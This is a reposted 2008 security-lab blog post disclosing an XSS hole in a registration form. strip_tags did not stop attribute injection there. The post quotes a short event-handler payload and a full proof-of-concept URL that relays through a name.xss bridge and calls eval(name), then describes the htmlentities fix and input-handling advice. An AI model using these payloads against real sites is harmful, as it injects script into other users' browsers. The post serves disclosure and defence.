PHP strip_tags not a complete protection against XSS (Repost From Archive)



PHP strip_tags not a complete protection against XSS” was originally written by Dan Guido when he was a student in the ISIS Lab.

On August 13th .mario, a high-profile member of the sla.ckers.org forum, alerted me to a XSS issue on the CSAW registration form. I had previously looked through the code and concluded it was safe based on this block of filtering code included at the top of the page:

//don't use this script!
foreach ($_COOKIE as &$cookie) {
  $cookie = trim(strip_tags(@mysqli_real_escape_string($mySQL, $cookie)));
}
foreach ($_POST as &$post) {
  if (is_array($post)) {
    foreach ($post as &$_post) {
      $_post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $_post)));
    }
  }
  else {
    $post = trim(strip_tags(@mysqli_real_escape_string($mySQL, $post)));
  }
}

Additionally, the registration script limits sources of user controllable input by only ever using the POST and COOKIE superglobals.

This script eliminates potential SQL injections by calling mysqli_real_escape_string on all user input. The *_real_escape_string functions in PHP are the only safe way to prevent SQL injection attacks as there are ways to sneak attacks by the [deprecated] *_escape_string and addslashes functions, for example, with different character encodings.

After being processed by mysql_real_escape_string, all user input is then filtered through strip_tags, a function which one might think would prevent cross-site-scripting attacks by completely removing any HTML and PHP tags it finds. strip_tags works through many different encodings and very effectively strips tags, however, seasoned web hackers will be saying at this point “there are other ways to inject javascript without tags!” and they would be right.

The easiest way to avoid strip_tags is to inject a quote to close the current attribute, create a giant block with a new CSS style attribute, and make it evaluate javascript onmouseover. Using an example from the sla.ckers.org forum and .mario himself:

" onwhatever=alert(1) a="

This accomplishes the goal of injecting javascript into the target application without creating any additional HTML or PHP tags, and strip_tags won’t pick it up!

I asked .mario if he would be kind enough to provide us with a proof of concept that would work specifically in the context of the CSAW registration page. He did not disappoint and PM’d me the following attack string:

`http://evil.hackademix.net/name.xss/***http://isis.poly.edu/csaw/register?name=”style=”a:b;margin-top:-1000px;margin-left:-100px;width:4000px;height:4000px;display:block;”onmouseover=alert(/XSS/[-1]);eval(name) a=”***content,post`

** This has been URL decoded. ** For the original, please see http://preview.tinyurl.com/csawxss

CSAW XSS

His attack utilizes a service Giorgio Maone wrote (the name.xss part of the URL) to launch XSS attacks on websites that limit user input to parameters other than GET, as ours does. The attack works as I described above, by adding new attributes into the existing tag and creating a large CSS block that triggers javascript onmouseover. Interestingly, this complicated attack string is processed as javascript by all the major browsers including IE8, Firefox 3, Opera 9.51, and Safari 3! I was really impressed.

After verifying the PoC, I made a small addition to our filtering script to prevent this attack by adding an htmlentities function call to each iteration of the two loops. This isn’t the best solution as it escapes input more than is necessary and I didn’t have a chance to bug test it much at all. A better solution can be found in the same sla.ckers.org forum post I found the attack string in:

…the best practice is IMHO:

Input -> Validate -> Filter (CRLF, Ctrl-Chars) -> Escape -> Store -> Encode (Just the characters you need to encode) -> Output

Validation can be done via type check or regex, for filtering the ord() method does a great job, escaping is done by mysql_(real)_escape_string() and encoding is done by correctly parametrized htmlentities().

We’ll be looking into ways to rewrite our filtering script according to this advice, and also at PHP-IDS, as a way to prevent these types of issues in the future.

Thanks .mario!

EDIT 08/17/2008: I incorrectly attributed the name.xss bridge to mario. It is actually the creation of Giorgio Maone.